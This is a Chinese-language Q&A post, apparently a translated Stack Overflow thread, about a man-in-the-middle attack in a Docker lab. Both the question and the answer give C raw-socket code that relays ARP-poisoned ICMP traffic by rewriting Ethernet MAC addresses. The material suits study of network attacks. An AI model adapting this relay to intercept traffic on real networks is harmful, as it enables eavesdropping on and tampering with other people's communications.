使用 ping 回显请求在 C 中进行中间人攻击

Question

我在 C 中实施中间人攻击。共有三个 docker 容器：主机 A（发送方）、主机 B（接收方）和主机 M（攻击方）。

我的 objective 是从主机 A ping 主机 B，但在 M 嗅探来自 A 的回显请求，然后将回显请求从 M 中继到 B。

我已经做过ARP中毒了。 ICMP 数据包正在从 A 发送到 M。现在我正在尝试将回声请求从 M 中继到 B。有趣的事实是：数据包也在被中继，但是 A 每 5 秒发送 1 个回声请求（ ping -i 5 IP-hostB), M 正在向主机 B 发送回显请求。为什么会这样？我仅在 M 收到回显请求时才中继数据包。那么M是从哪里获取到relay的flooded echo request呢？

编辑在使用同一个套接字接收和发送数据包后，ping 泛洪现已停止。但是现在回声请求正在从 M 正确地中继到 B（最初从 A 发送）。但是主机 B 没有为这些回声响应发送回声回复。我使用 tcpdump 检查 B 是否收到回显请求，B 确实收到了请求。那么为什么 B 不发回回复呢？我认为这是因为 B 的 arp 缓存中毒了。但是我在主机 B 上做了 arp -a，它知道主机 A 的 MAC 地址是什么。

知道是什么导致 B 不发送回显回复吗？

相关中继代码：

static unsigned short compute_checksum(unsigned short *addr,
                                       unsigned int count);
static uint16_t icmp_checksum(const uint16_t *const data,
                              const size_t byte_sz);
void relay_icmp_packet(unsigned char* buffer, int size);


int main()
{
    int saddr_size, data_size;
    struct sockaddr saddr;

    unsigned char *buffer = (unsigned char *) malloc(65536);

    int sock_raw = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    //setsockopt(sock_raw , SOL_SOCKET , SO_BINDTODEVICE , "eth0" , strlen("eth0")+ 1 );

    if(sock_raw < 0) {
        //Print the error with proper message
        perror("Socket Error");
        return 1;
    }

    while(1) {
        saddr_size = sizeof saddr;
        //Receive a packet
        data_size = recvfrom(sock_raw, buffer, 65536, 0,
                             &saddr, (socklen_t*)&saddr_size);
        // data_size = recv(sock_raw, buffer, 65536, 0);
        if(data_size <0 ) {
            printf("Recvfrom error , failed to get packets\n");
            return 1;
        }
        relay_icmp_packet(buffer, data_size);
    }
    close(sock_raw);
    printf("Finished");
    return 0;
}

void relay_icmp_packet(unsigned char* buffer, int size)
{
    // Host A -> IP: 10.9.0.6   MAC: 02:42:0a:09:00:05
    // Host B -> IP: 10.9.0.6   MAC: 02:42:0a:09:00:06
    // Host M -> IP: 10.9.0.105 MAC: 02:42:0a:09:00:69

    int sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    struct ethhdr *eth = (struct ethhdr *)buffer;
    eth->h_dest[0] = 0X02;
    eth->h_dest[1] = 0X42;
    eth->h_dest[2] = 0X0A;
    eth->h_dest[3] = 0X09;
    eth->h_dest[4] = 0X00;
    eth->h_dest[5] = 0X06;

    struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
    unsigned short iphdrlen =iph->ihl*4;

    if (iph->protocol != 1) return;

    memset(&source, 0, sizeof(source));
    source.sin_addr.s_addr = iph->saddr;
    // printf("%s\n", inet_ntoa(source.sin_addr));

    if (!(iph->saddr == inet_addr("10.9.0.5")
        && iph->daddr== inet_addr("10.9.0.6")))
        return;

    struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + sizeof(struct ethhdr));
    compute_ip_checksum(iph);
    icmph->checksum = 0;
    icmph->checksum = icmp_checksum((uint16_t *)icmph, sizeof(icmph));

    struct sockaddr_ll device;
    memset(&device, 0, sizeof device);
    device.sll_ifindex = if_nametoindex("eth0");

    int ret = -5;
    // ret = send(sockid, eth, size, 0);
    ret = sendto(sockid, eth, size, 0,
                 (const struct sockaddr *)&device, sizeof(device));
}

/* Checksum functions are written here; removed for better readability. I checked with Wireshark: the functions calculate valid checksums. And I'm altering only Ethernet header fields, so the checksum wouldn't change anyway. */

Answer 1

我通过更改中继数据包的以太网解决了这个问题header。最初我以为我只需要更改目标 MAC 地址，因为目标 IP 已经正确。但实际上它更简单。让我重申一下这个场景。

共有三台主机：A、B、M，其中M为攻击者。 A 和 B 的 ARP 缓存中毒，以至于 A 认为 B 的 MAC 地址是 MAC_M 而 B 认为 A 的 MAC 地址是 MAC_M.

当A向B发送ICMP数据包时，它会转到M。M需要将源MAC更改为MAC_M，目标MAC到MAC_B，因为通过ARP_B，B认为MAC_M实际上是A的MAC地址。

因此，当最初我只更改目标 MAC 地址时，B 收到了 ICMP 回显请求但由于源 IP 和源 MAC 不匹配而将其丢弃B的ARP缓存。

修复后，以下工作正常。

void relay_icmp_packet(int sockid, unsigned char* buffer, int size)
{
    // sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    struct ethhdr *eth = (struct ethhdr *)buffer;
    unsigned short ethdrlen = sizeof(struct ethhdr);

    struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
    unsigned short iphdrlen =iph->ihl*4;

    if (iph->protocol != 1) return;

    if (iph->saddr == inet_addr("10.9.0.5")
        && iph->daddr== inet_addr("10.9.0.6")) {
        eth->h_source[0] = 0X02;
        eth->h_source[1] = 0X42;
        eth->h_source[2] = 0X0A;
        eth->h_source[3] = 0X09;
        eth->h_source[4] = 0X00;
        eth->h_source[5] = 0X69;
        eth->h_dest[0] = 0X02;
        eth->h_dest[1] = 0X42;
        eth->h_dest[2] = 0X0A;
        eth->h_dest[3] = 0X09;
        eth->h_dest[4] = 0X00;
        eth->h_dest[5] = 0X06;
    } else if (iph->saddr == inet_addr("10.9.0.6")
        && iph->daddr== inet_addr("10.9.0.5")) {
        eth->h_source[0] = 0X02;
        eth->h_source[1] = 0X42;
        eth->h_source[2] = 0X0A;
        eth->h_source[3] = 0X09;
        eth->h_source[4] = 0X00;
        eth->h_source[5] = 0X69;
        eth->h_dest[0] = 0X02;
        eth->h_dest[1] = 0X42;
        eth->h_dest[2] = 0X0A;
        eth->h_dest[3] = 0X09;
        eth->h_dest[4] = 0X00;
        eth->h_dest[5] = 0X05;
    } else {
        printf("FUCK\n");
        return;
    }

    struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + ethdrlen);
    int header_size =  sizeof(struct ethhdr) + iphdrlen + sizeof icmph;

    iph->check = 0;
    iph->check = compute_checksum((uint16_t*)iph, iphdrlen);
    icmph->checksum = 0;
    icmph->checksum = compute_checksum((uint16_t *)icmph,
                                       size - ethdrlen - iphdrlen);

    struct sockaddr_ll device;
    memset(&device, 0, sizeof device);
    device.sll_ifindex = if_nametoindex("eth0");

    int ret;
    ret = sendto(sockid, eth, size, 0,
                 (const struct sockaddr *)&device, sizeof(device));

    if (ret > 0) {
        printf("[%d] ICMP packet relayed to ", ret);
        PRINT_MAC_ADDRESS(stdout, eth->h_dest);
    }

    // close(sockid);
}

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